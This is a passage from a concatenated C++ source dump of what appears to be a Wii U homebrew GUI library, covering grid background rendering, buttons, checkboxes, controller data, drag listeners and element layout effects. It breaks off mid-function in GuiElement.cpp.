0.202514111996,-1.053279519081,0.0f, 0.381092041731,-1.049303770065,0.0f, 0.516337633133,-1.042677521706,0.0f, 0.617013633251,-1.033407211304,0.0f, 0.691882967949,-1.021499633789,0.0f, 0.749708354473,-1.006960868835,0.0f, 0.79925262928,-0.989797830582,0.0f, 0.841663658619,-0.969795942307,0.0f, 0.87808907032,-0.946740865707,0.0f, 0.909676492214,-0.920418143272,0.0f, 0.93757379055,-0.890613555908,0.0f, 0.962008118629,-0.856050789356,0.0f, 0.983206510544,-0.815453350544,0.0f, 1.001396179199,-0.767545044422,0.0f, 1.016804218292,-0.711049556732,0.0f, 1.029423952103,-0.636890649796,0.0f, 1.039248347282,-0.535992026329,0.0f, 1.046270728111,-0.399277359247,0.0f, 1.050484061241,-0.217670500278,0.0f, 1.051888465881,-1.349482685328E-002,0.0f, 1.050484061241,0.190926194191,0.0f, 1.046270728111,0.373269081116,0.0f, 1.039248347282,0.511210441589,0.0f, 1.029423952103,0.613717556,0.0f, 1.016804218292,0.689758002758,0.0f, 1.001396059990,0.748299002647,0.0f, 0.983206450939,0.79830801487,0.0f, 0.962008118629,0.840993225574,0.0f, 0.93757379055,0.877562940121,0.0f, 0.909676492214,0.909225344658,0.0f, 0.87808907032,0.93718868494,0.0f, 0.841663658619,0.961680650711,0.0f, 0.79925262928,0.982929229736,0.0f, 0.749708354473,1.001162052155,0.0f, 0.691882967949,1.016606807709,0.0f, 0.617013692856,1.029256582260,0.0f, 0.516337633133,1.039104580879,0.0f, 0.381092071533,1.046143770218,0.0f, 0.202514111996,1.050367355347,0.0f, 2.249561250210E-003,1.051775097847,0.0f, -0.19805586338,1.050367236137,0.0f, -0.376756459475,1.046143651009,0.0f }; const u32 cuGameIconStrokeVtxCount = sizeof(cfGameIconStrokeVtxs) / (sizeof(float) * 3); #endif ================================================ FILE: src/gui/GridBackground.cpp ================================================ #include "GridBackground.h" #include "video/CVideo.h" #include "video/shaders/Shader3D.h" static const float bgRepeat = 1000.0f; static const float bgTexRotate = 39.0f; GridBackground::GridBackground(GuiImageData *img) : GuiImage(img) { colorIntensity = glm::vec4(1.0f, 1.0f, 1.0f, 0.9f); alphaFadeOut = glm::vec4(0.0f); distanceFadeOut = 0.15f; vtxCount = 4; //! texture and vertex coordinates f32 *m_posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, vtxCount * Shader3D::cuVertexAttrSize); f32 *m_texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, vtxCount * Shader3D::cuTexCoordAttrSize); if(m_posVtxs) { s32 i = 0; m_posVtxs[i++] = -1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = 1.0f; m_posVtxs[i++] = 1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = 1.0f; m_posVtxs[i++] = 1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = -1.0f; m_posVtxs[i++] = -1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = -1.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, m_posVtxs, vtxCount * Shader3D::cuVertexAttrSize); } if(m_texCoords) { glm::vec2 texCoordVec[4]; texCoordVec[0][0] = -0.5f * bgRepeat; texCoordVec[0][1] = 0.5f * bgRepeat; texCoordVec[1][0] = 0.5f * bgRepeat; texCoordVec[1][1] = 0.5f * bgRepeat; texCoordVec[2][0] = 0.5f * bgRepeat; texCoordVec[2][1] = -0.5f * bgRepeat; texCoordVec[3][0] = -0.5f * bgRepeat; texCoordVec[3][1] = -0.5f * bgRepeat; const float cosRot = cosf(DegToRad(bgTexRotate)); const float sinRot = sinf(DegToRad(bgTexRotate)); glm::mat2 texRotateMtx({ cosRot, -sinRot, sinRot, cosRot }); for(s32 i = 0; i < 4; i++) { texCoordVec[i] = texRotateMtx * texCoordVec[i]; m_texCoords[i*2 + 0] = texCoordVec[i][0]; m_texCoords[i*2 + 1] = texCoordVec[i][1]; } GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, m_texCoords, vtxCount * Shader3D::cuTexCoordAttrSize); } //! assign to internal variables which are const but oh well posVtxs = m_posVtxs; texCoords = m_texCoords; } GridBackground::~GridBackground() { //! remove image so it can not be drawn anymore from this point on imageData = NULL; //! main image vertexes if(posVtxs) { free((void*)posVtxs); posVtxs = NULL; } if(texCoords) { free((void*)texCoords); texCoords = NULL; } } void GridBackground::draw(CVideo *pVideo, const glm::mat4 & modelView) { //! first setup 2D GUI positions f32 currScaleX = bgRepeat * scaleX * (f32)getWidth() * pVideo->getWidthScaleFactor(); f32 currScaleY = 1.0f; f32 currScaleZ = bgRepeat * scaleZ * (f32)getHeight() * pVideo->getDepthScaleFactor(); m_modelView = glm::scale(modelView, glm::vec3(currScaleX, currScaleY, currScaleZ)); colorIntensity[3] = getAlpha(); Shader3D::instance()->setShaders(); Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); Shader3D::instance()->setProjectionMtx(pVideo->getProjectionMtx()); Shader3D::instance()->setViewMtx(pVideo->getViewMtx()); Shader3D::instance()->setModelViewMtx(m_modelView); Shader3D::instance()->setDistanceFadeOut(distanceFadeOut); Shader3D::instance()->setAlphaFadeOut(alphaFadeOut); Shader3D::instance()->setColorIntensity(colorIntensity); Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoords); Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount); } ================================================ FILE: src/gui/GridBackground.h ================================================ #ifndef _GRID_BACKGROUND_H_ #define _GRID_BACKGROUND_H_ #include "GuiImage.h" #include "video/shaders/Shader.h" class GridBackground : public GuiImage { public: GridBackground(GuiImageData *imgData); virtual ~GridBackground(); void setColorIntensity(const glm::vec4 & color) { colorIntensity = color; } const glm::vec4 & getColorIntensity() const { return colorIntensity; } void setDistanceFadeOut(const float & a) { distanceFadeOut = a; } void draw(CVideo *pVideo, const glm::mat4 & modelView); private: glm::mat4 m_modelView; glm::vec4 colorIntensity; glm::vec4 alphaFadeOut; float distanceFadeOut; }; #endif // _GRID_BACKGROUND_H_ ================================================ FILE: src/gui/Gui.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __GUI_H #define __GUI_H #include "GuiElement.h" #include "GuiImageData.h" #include "GuiImage.h" #include "GuiFrame.h" #include "GuiController.h" #include "GuiText.h" #include "GuiSound.h" #include "GuiButton.h" #include "GuiTrigger.h" #include "GuiSelectBox.h" #include "GuiSwitch.h" #endif ================================================ FILE: src/gui/GuiButton.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiButton.h" #include "GuiTrigger.h" #include "GuiController.h" /** * Constructor for the GuiButton class. */ GuiButton::GuiButton(f32 w, f32 h) { width = w; height = h; image = NULL; imageOver = NULL; imageHold = NULL; imageClick = NULL; icon = NULL; iconOver = NULL; for(s32 i = 0; i < 4; i++) { label[i] = NULL; labelOver[i] = NULL; labelHold[i] = NULL; labelClick[i] = NULL; } for(s32 i = 0; i < iMaxGuiTriggers; i++) { trigger[i] = NULL; } soundOver = NULL; soundHold = NULL; soundClick = NULL; clickedTrigger = NULL; heldTrigger = NULL; selectable = true; holdable = false; clickable = true; } /** * Destructor for the GuiButton class. */ GuiButton::~GuiButton() { } void GuiButton::setImage(GuiImage* img) { image = img; if(img) img->setParent(this); } void GuiButton::setImageOver(GuiImage* img) { imageOver = img; if(img) img->setParent(this); } void GuiButton::setImageHold(GuiImage* img) { imageHold = img; if(img) img->setParent(this); } void GuiButton::setImageClick(GuiImage* img) { imageClick = img; if(img) img->setParent(this); } void GuiButton::setIcon(GuiImage* img) { icon = img; if(img) img->setParent(this); } void GuiButton::setIconOver(GuiImage* img) { iconOver = img; if(img) img->setParent(this); } void GuiButton::setLabel(GuiText* txt, s32 n) { label[n] = txt; if(txt) txt->setParent(this); } void GuiButton::setLabelOver(GuiText* txt, s32 n) { labelOver[n] = txt; if(txt) txt->setParent(this); } void GuiButton::setLabelHold(GuiText* txt, s32 n) { labelHold[n] = txt; if(txt) txt->setParent(this); } void GuiButton::setLabelClick(GuiText* txt, s32 n) { labelClick[n] = txt; if(txt) txt->setParent(this); } void GuiButton::setSoundOver(GuiSound * snd) { soundOver = snd; } void GuiButton::setSoundHold(GuiSound * snd) { soundHold = snd; } void GuiButton::setSoundClick(GuiSound * snd) { soundClick = snd; } void GuiButton::setTrigger(GuiTrigger * t, s32 idx) { if(idx >= 0 && idx < iMaxGuiTriggers) { trigger[idx] = t; } else { for(s32 i = 0; i < iMaxGuiTriggers; i++) { if(!trigger[i]) { trigger[i] = t; break; } } } } void GuiButton::resetState(void) { clickedTrigger = NULL; heldTrigger = NULL; GuiElement::resetState(); } /** * Draw the button on screen */ void GuiButton::draw(CVideo *v) { if(!this->isVisible()) return; // draw image if((isDrawOverOnlyWhenSelected() && (isStateSet(STATE_SELECTED) && imageOver)) || (!isDrawOverOnlyWhenSelected() && (isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && imageOver))) imageOver->draw(v); else if(image) image->draw(v); if((isDrawOverOnlyWhenSelected() && (isStateSet(STATE_SELECTED) && iconOver)) || (!isDrawOverOnlyWhenSelected() && (isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && iconOver))) iconOver->draw(v); else if(icon) icon->draw(v); // draw text for(s32 i = 0; i < 4; i++) { if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && labelOver[i]) labelOver[i]->draw(v); else if(label[i]) label[i]->draw(v); } } void GuiButton::update(GuiController * c) { if(!c || isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan)) return; else if(parentElement && (parentElement->isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan))) return; if(selectable) { if(c->data.validPointer && this->isInside(c->data.x, c->data.y)) { if(!isStateSet(STATE_OVER, c->chan)) { setState(STATE_OVER, c->chan); //if(this->isRumbleActive()) // this->rumble(t->chan); if(soundOver) soundOver->Play(); if(effectsOver && !effects) { // initiate effects effects = effectsOver; effectAmount = effectAmountOver; effectTarget = effectTargetOver; } pointedOn(this, c); } } else if(isStateSet(STATE_OVER, c->chan)) { this->clearState(STATE_OVER, c->chan); pointedOff(this, c); if(effectTarget == effectTargetOver && effectAmount == effectAmountOver) { // initiate effects (in reverse) effects = effectsOver; effectAmount = -effectAmountOver; effectTarget = 100; } } } for(s32 i = 0; i < iMaxGuiTriggers; i++) { if(!trigger[i]) continue; // button triggers if(clickable) { s32 isClicked = trigger[i]->clicked(c); if( !clickedTrigger && (isClicked != GuiTrigger::CLICKED_NONE) && (trigger[i]->isClickEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y))) { if(soundClick) soundClick->Play(); clickedTrigger = trigger[i]; if(!isStateSet(STATE_CLICKED, c->chan)){ if(isClicked == GuiTrigger::CLICKED_TOUCH){ setState(STATE_CLICKED_TOUCH, c->chan); }else{ setState(STATE_CLICKED, c->chan); } } clicked(this, c, trigger[i]); } else if((isStateSet(STATE_CLICKED, c->chan) || isStateSet(STATE_CLICKED_TOUCH, c->chan)) && (clickedTrigger == trigger[i]) && !isStateSet(STATE_HELD, c->chan) && !trigger[i]->held(c) && ((isClicked == GuiTrigger::CLICKED_NONE) || trigger[i]->released(c))) { if((isStateSet(STATE_CLICKED_TOUCH, c->chan) && this->isInside(c->data.x, c->data.y)) || (isStateSet(STATE_CLICKED, c->chan))){ clickedTrigger = NULL; clearState(STATE_CLICKED, c->chan); released(this, c, trigger[i]); } } } if(holdable) { bool isHeld = trigger[i]->held(c); if( (!heldTrigger || heldTrigger == trigger[i]) && isHeld && (trigger[i]->isHoldEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y))) { heldTrigger = trigger[i]; if(!isStateSet(STATE_HELD, c->chan)) setState(STATE_HELD, c->chan); held(this, c, trigger[i]); } else if(isStateSet(STATE_HELD, c->chan) && (heldTrigger == trigger[i]) && (!isHeld || trigger[i]->released(c))) { //! click is removed at this point and converted to held if(clickedTrigger == trigger[i]) { clickedTrigger = NULL; clearState(STATE_CLICKED, c->chan); } heldTrigger = NULL; clearState(STATE_HELD, c->chan); released(this, c, trigger[i]); } } } } ================================================ FILE: src/gui/GuiButton.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_BUTTON_H_ #define GUI_BUTTON_H_ #include "GuiElement.h" #include "GuiText.h" #include "GuiController.h" #include "GuiImage.h" #include "GuiSound.h" #include "GuiTrigger.h" //!Display, manage, and manipulate buttons in the GUI. Buttons can have images, icons, text, and sound set (all of which are optional) class GuiButton : public GuiElement { public: //!Constructor //!\param w Width //!\param h Height GuiButton(f32 w, f32 h); //!Destructor virtual ~GuiButton(); //!Sets the button's image //!\param i Pointer to GuiImage object void setImage(GuiImage* i); //!Sets the button's image on over //!\param i Pointer to GuiImage object void setImageOver(GuiImage* i); void setIcon(GuiImage* i); void setIconOver(GuiImage* i); //!Sets the button's image on hold //!\param i Pointer to GuiImage object void setImageHold(GuiImage* i); //!Sets the button's image on click //!\param i Pointer to GuiImage object void setImageClick(GuiImage* i); //!Sets the button's label //!\param t Pointer to GuiText object //!\param n Index of label to set (optional, default is 0) void setLabel(GuiText* t, s32 n = 0); //!Sets the button's label on over (eg: different colored text) //!\param t Pointer to GuiText object //!\param n Index of label to set (optional, default is 0) void setLabelOver(GuiText* t, s32 n = 0); //!Sets the button's label on hold //!\param t Pointer to GuiText object //!\param n Index of label to set (optional, default is 0) void setLabelHold(GuiText* t, s32 n = 0); //!Sets the button's label on click //!\param t Pointer to GuiText object //!\param n Index of label to set (optional, default is 0) void setLabelClick(GuiText* t, s32 n = 0); //!Sets the sound to play on over //!\param s Pointer to GuiSound object void setSoundOver(GuiSound * s); //!Sets the sound to play on hold //!\param s Pointer to GuiSound object void setSoundHold(GuiSound * s); //!Sets the sound to play on click //!\param s Pointer to GuiSound object void setSoundClick(GuiSound * s); //!Set a new GuiTrigger for the element //!\param i Index of trigger array to set //!\param t Pointer to GuiTrigger void setTrigger(GuiTrigger * t, s32 idx = -1); //! void resetState(void); //!Constantly called to draw the GuiButton void draw(CVideo *video); //!Constantly called to allow the GuiButton to respond to updated input data //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD void update(GuiController * c); sigslot::signal2 selected; sigslot::signal2 deSelected; sigslot::signal2 pointedOn; sigslot::signal2 pointedOff; sigslot::signal3 clicked; sigslot::signal3 held; sigslot::signal3 released; protected: static const s32 iMaxGuiTriggers = 10; GuiImage * image; //!< Button image (default) GuiImage * imageOver; //!< Button image for STATE_SELECTED GuiImage * imageHold; //!< Button image for STATE_HELD GuiImage * imageClick; //!< Button image for STATE_CLICKED GuiImage * icon; GuiImage * iconOver; GuiText * label[4]; //!< Label(s) to display (default) GuiText * labelOver[4]; //!< Label(s) to display for STATE_SELECTED GuiText * labelHold[4]; //!< Label(s) to display for STATE_HELD GuiText * labelClick[4]; //!< Label(s) to display for STATE_CLICKED GuiSound * soundOver; //!< Sound to play for STATE_SELECTED GuiSound * soundHold; //!< Sound to play for STATE_HELD GuiSound * soundClick; //!< Sound to play for STATE_CLICKED GuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to GuiTrigger * clickedTrigger; GuiTrigger * heldTrigger; }; #endif ================================================ FILE: src/gui/GuiCheckBox.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiCheckBox.h" #include "GuiImage.h" #include "GuiImageData.h" /** * Constructor for the GuiCheckBox class. */ GuiCheckBox::GuiCheckBox(bool checked) : GuiToggle(checked,50,50) ,checkbox_imgdata(Resources::GetImageData("checkbox.png")) ,checkbox_img(checkbox_imgdata) ,checkbox_selected_imgdata(Resources::GetImageData("checkbox_selected.png")) ,checkbox_selected_img(checkbox_selected_imgdata) ,highlighted_imgdata(Resources::GetImageData("checkbox_highlighted.png")) ,highlighted_img(highlighted_imgdata) { checkbox_selected_img.setScale(height/checkbox_selected_img.getHeight()); checkbox_img.setScale(height/checkbox_img.getHeight()); highlighted_img.setScale(height/highlighted_img.getHeight()); setImage(&checkbox_img); setIconOver(&highlighted_img); } /** * Destructor for the GuiButton class. */ GuiCheckBox::~GuiCheckBox() { Resources::RemoveImageData(checkbox_imgdata); Resources::RemoveImageData(checkbox_selected_imgdata); Resources::RemoveImageData(highlighted_imgdata); } void GuiCheckBox::update(GuiController * c){ if(bChanged){ if(selected){ GuiButton::setImage(&checkbox_selected_img); }else{ GuiButton::setImage(&checkbox_img); } bChanged = false; } GuiToggle::update(c); } ================================================ FILE: src/gui/GuiCheckBox.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_CHECKBOX_H_ #define GUI_CHECKBOX_H_ #include "GuiToggle.h" #include "GuiImage.h" #include "GuiImageData.h" //!A simple CheckBox class GuiCheckBox : public GuiToggle { public: //!Constructor //!\param checked Checked GuiCheckBox(bool checked); //!Destructor virtual ~GuiCheckBox(); protected: GuiImageData * checkbox_imgdata; GuiImage checkbox_img; GuiImageData * checkbox_selected_imgdata; GuiImage checkbox_selected_img; GuiImageData * highlighted_imgdata; GuiImage highlighted_img; void update(GuiController * c); }; #endif ================================================ FILE: src/gui/GuiConfigurationScreen.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUICONFIGURATIONSCREEN_H_ #define GUICONFIGURATIONSCREEN_H_ #include "Gui.h" #include "sigslot.h" class GuiConfigurationScreen : public GuiFrame { public: GuiConfigurationScreen(s32 w, s32 h) : GuiFrame(w, h) {} virtual ~GuiConfigurationScreen() {} sigslot::signal2 gameLaunchClicked; sigslot::signal2 gameSelectionChanged; }; #endif /* GUICONFIGURATIONSCREEN_H_ */ ================================================ FILE: src/gui/GuiController.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_CONTROLLER_H_ #define GUI_CONTROLLER_H_ #include #include "GuiTrigger.h" class GuiController { public: //!Constructor GuiController(s32 channel) : chan(channel) { memset(&lastData, 0, sizeof(lastData)); memset(&data, 0, sizeof(data)); switch(chan) { default: case GuiTrigger::CHANNEL_1: chanIdx = 0; break; case GuiTrigger::CHANNEL_2: chanIdx = 1; break; case GuiTrigger::CHANNEL_3: chanIdx = 2; break; case GuiTrigger::CHANNEL_4: chanIdx = 3; break; case GuiTrigger::CHANNEL_5: chanIdx = 4; break; } } //!Destructor virtual ~GuiController() {} virtual bool update(s32 width, s32 height) = 0; typedef struct { u32 buttons_h; u32 buttons_d; u32 buttons_r; bool validPointer; bool touched; float pointerAngle; s32 x; s32 y; } PadData; s32 chan; s32 chanIdx; PadData data; PadData lastData; }; #endif ================================================ FILE: src/gui/GuiDragListener.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * based on GuiButton by dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiDragListener.h" #include "GuiController.h" #include "utils/logger.h" /** * Constructor for the GuiDragListener class. */ GuiDragListener::GuiDragListener(f32 w,f32 h){ width = w; height = h; for(s32 i = 0; i < iMaxGuiTriggers; i++) { trigger[i] = NULL; } } /** * Destructor for the GuiDragListener class. */ GuiDragListener::~GuiDragListener(){ } void GuiDragListener::setState(s32 i, s32 c){ GuiElement::setState(i,c); } void GuiDragListener::setTrigger(GuiTrigger * t, s32 idx){ if(idx >= 0 && idx < iMaxGuiTriggers) { trigger[idx] = t; } else { for(s32 i = 0; i < iMaxGuiTriggers; i++) { if(!trigger[i]) { trigger[i] = t; break; } } } } void GuiDragListener::update(GuiController * c){ if(!c || isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan)) return; else if(parentElement && (parentElement->isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan))) return; for(s32 i = 0; i < iMaxGuiTriggers; i++){ if(!trigger[i]){ continue; } bool isHeld = trigger[i]->held(c); if(isHeld && this->isInside(c->data.x, c->data.y)){ s32 dx = c->data.x - c->lastData.x; s32 dy = c->data.y - c->lastData.y; if(dx == 0 && dy == 0) continue; dragged(this, c, trigger[i],dx,dy); } } } ================================================ FILE: src/gui/GuiDragListener.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_DRAG_LISTENER_H_ #define GUI_DRAG_LISTENER_H_ #include "GuiElement.h" #include "GuiController.h" #include "GuiTrigger.h" #include "GuiButton.h" class GuiDragListener : public GuiElement { public: //!Constructor //!\param w Width //!\param h Height GuiDragListener(f32 w,f32 h); //!Destructor virtual ~GuiDragListener(); void setState(s32 i, s32 c); //!Set a new GuiTrigger for the element //!\param i Index of trigger array to set //!\param t Pointer to GuiTrigger void setTrigger(GuiTrigger * t, s32 idx = -1); //!Constantly called to allow the GuiDragListener to respond to updated input data //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD void update(GuiController * c); sigslot::signal5 dragged; protected: static const s32 iMaxGuiTriggers = 10; GuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to }; #endif ================================================ FILE: src/gui/GuiElement.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiElement.h" //! TODO remove this! static s32 screenwidth = 1280; static s32 screenheight = 720; /** * Constructor for the Object class. */ GuiElement::GuiElement() { xoffset = 0.0f; yoffset = 0.0f; zoffset = 0.0f; width = 0.0f; height = 0.0f; alpha = 1.0f; scaleX = 1.0f; scaleY = 1.0f; scaleZ = 1.0f; for(s32 i = 0; i < 4; i++) state[i] = STATE_DEFAULT; stateChan = -1; parentElement = NULL; rumble = true; selectable = false; clickable = false; holdable = false; drawOverOnlyWhenSelected = false; visible = true; yoffsetDyn = 0; xoffsetDyn = 0; alphaDyn = -1; scaleDyn = 1; effects = EFFECT_NONE; effectAmount = 0; effectTarget = 0; effectsOver = EFFECT_NONE; effectAmountOver = 0; effectTargetOver = 0; angle = 0.0f; // default alignment - align to top left alignment = (ALIGN_CENTER | ALIGN_MIDDLE); } /** * Get the left position of the GuiElement. * @see SetLeft() * @return Left position in pixel. */ f32 GuiElement::getLeft() { f32 pWidth = 0; f32 pLeft = 0; f32 pScaleX = 1.0f; if(parentElement) { pWidth = parentElement->getWidth(); pLeft = parentElement->getLeft(); pScaleX = parentElement->getScaleX(); } pLeft += xoffsetDyn; f32 x = pLeft; //! TODO: the conversion from int to float and back to int is bad for performance, change that if(alignment & ALIGN_CENTER) { x = pLeft + pWidth * 0.5f * pScaleX - width * 0.5f * getScaleX(); } else if(alignment & ALIGN_RIGHT) { x = pLeft + pWidth * pScaleX - width * getScaleX(); } return x + xoffset; } /** * Get the top position of the GuiElement. * @see SetTop() * @return Top position in pixel. */ f32 GuiElement::getTop() { f32 pHeight = 0; f32 pTop = 0; f32 pScaleY = 1.0f; if(parentElement) { pHeight = parentElement->getHeight(); pTop = parentElement->getTop(); pScaleY = parentElement->getScaleY(); } pTop += yoffsetDyn; f32 y = pTop; //! TODO: the conversion from int to float and back to int is bad for performance, change that if(alignment & ALIGN_MIDDLE) { y = pTop + pHeight * 0.5f * pScaleY - getHeight() * 0.5f * getScaleY(); } else if(alignment & ALIGN_BOTTOM) { y = pTop + pHeight * pScaleY - getHeight() * getScaleY(); } return y + yoffset; } void GuiElement::setEffect(s32 eff, s32 amount, s32 target) { if(eff & EFFECT_SLIDE_IN) { // these calculations overcompensate a little if(eff & EFFECT_SLIDE_TOP) { if(eff & EFFECT_SLIDE_FROM) yoffsetDyn = (s32) -getHeight()*scaleY; else yoffsetDyn = -screenheight; } else if(eff & EFFECT_SLIDE_LEFT) { if(eff & EFFECT_SLIDE_FROM) xoffsetDyn = (s32) -getWidth()*scaleX; else xoffsetDyn = -screenwidth; } else if(eff & EFFECT_SLIDE_BOTTOM) { if(eff & EFFECT_SLIDE_FROM) yoffsetDyn = (s32) getHeight()*scaleY; else yoffsetDyn = screenheight; } else if(eff & EFFECT_SLIDE_RIGHT) { if(eff & EFFECT_SLIDE_FROM) xoffsetDyn = (s32) getWidth()*scaleX; else xoffsetDyn = screenwidth; } } if((eff & EFFECT_FADE) && amount > 0) { alphaDyn = 0; } else if((eff & EFFECT_FADE) && amount < 0) { alphaDyn = alpha; } effects |= eff; effectAmount = amount; effectTarget = target; } //!Sets an effect to be enabled on wiimote cursor over //!\param e Effect to enable //!\param a Amount of the effect (usage varies on effect) //!\param t Target amount of the effect (usage varies on effect) void GuiElement::setEffectOnOver(s32 e, s32 a, s32 t) { effectsOver |= e; effectAmountOver = a; effectTargetOver = t; } void GuiElement::resetEffects() { yoffsetDyn = 0; xoffsetDyn = 0; alphaDyn = -1; scaleDyn = 1; effects = EFFECT_NONE; effectAmount = 0; effectTarget = 0; effectsOver = EFFECT_NONE; effectAmountOver = 0; effectTargetOver = 0; } void GuiElement::updateEffects() { if(!this->isVisible() && parentElement) return; if(effects & (EFFECT_SLIDE_IN | EFFECT_SLIDE_OUT | EFFECT_SLIDE_FROM)) { if(effects & EFFECT_SLIDE_IN) { if(effects & EFFECT_SLIDE_LEFT) { xoffsetDyn += effectAmount; if(xoffsetDyn >= 0) { xoffsetDyn = 0; effects = 0; effectFinished(this); } } else if(effects & EFFECT_SLIDE_RIGHT) { xoffsetDyn -= effectAmount; if(xoffsetDyn <= 0) { xoffsetDyn = 0; effects = 0; effectFinished(this); } } else if(effects & EFFECT_SLIDE_TOP) { yoffsetDyn += effectAmount; if(yoffsetDyn >= 0) { yoffsetDyn = 0; effects = 0; effectFinished(this); } } else if(effects & 